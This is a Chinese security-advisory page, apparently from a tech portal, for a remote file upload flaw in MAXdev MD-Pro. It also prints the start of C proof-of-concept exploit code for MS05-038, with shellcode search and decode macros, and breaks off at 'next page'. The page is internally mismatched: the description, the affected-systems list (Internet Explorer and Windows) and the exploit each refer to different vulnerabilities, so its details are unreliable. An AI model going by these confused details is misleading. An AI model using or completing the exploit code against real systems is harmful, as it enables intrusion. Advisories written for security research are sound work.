＋设为首页 ＋添加到收藏夹
信息提供: 【扩展信息:如何设置一个可靠的防火墙系统保护公司内部】
安全公告（或线索）提供热线:51cto.editor@gmail.com漏洞类别:
远程文件上载漏洞攻击类型:
远程攻击发布日期:
2005-08-10更新日期:
2005-08-12受影响系统:
microsoft internet explorer 6.0 sp1 microsoft internet explorer 5.0 sp4 microsoft internet explorer 5.5 sp2 - microsoft windows me microsoft internet explorer 6.0 - microsoft windows xp sp2 - microsoft windows server 2003 sp1 - microsoft windows server 2003安全系统:
无
漏洞报告人:
无漏洞描述:
bugtraq id: 14750
maxdev md-pro包含有一个任意的远程文件上载漏洞.该漏洞是由于对用户提交申请时输入的信息进行处理失败而导致的.
该漏洞是由于一个软件设计错误导致的.软件中采用黑名单技术来列出那些扩展名文件不能被上载,同时采用了优良名单来规定特定扩展名的文件可以被上载.攻击者可利用该漏洞来上载包含恶意脚本的任意文件,并可能在感染的服务器上执行该脚本.
这最终可导致未被授权的用户顺利地访问web服务器.
测试方法:
警告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.使用者风险自负！
/*+++++++++++++++++++++++++++++++++++++++++++++++
ms05 038 exploit poc write by zwell 2005 8 11 http://www.donews.net/zwell zwell@sohu.com some code belongs to lion(cnhonker), regards to him. this code tested on windows 2003 -----------------------------------------------*/ #include #include #pragma comment(lib, "ws2_32") // use for find the asm code #define proc_begin __asm _emit 0x90 __asm _emit 0x90\ __asm _emit 0x90 __asm _emit 0x90\ __asm _emit 0x90 __asm _emit 0x90\ __asm _emit 0x90 __asm _emit 0x90 #define proc_end proc_begin #define search_str "\x90\x90\x90\x90\x90\x90\x90\x90\x90" #define search_len 8 #define max_sc_len 2048 #define hash_key 13 // define decode parameter #define decode_len 21 ... 下一页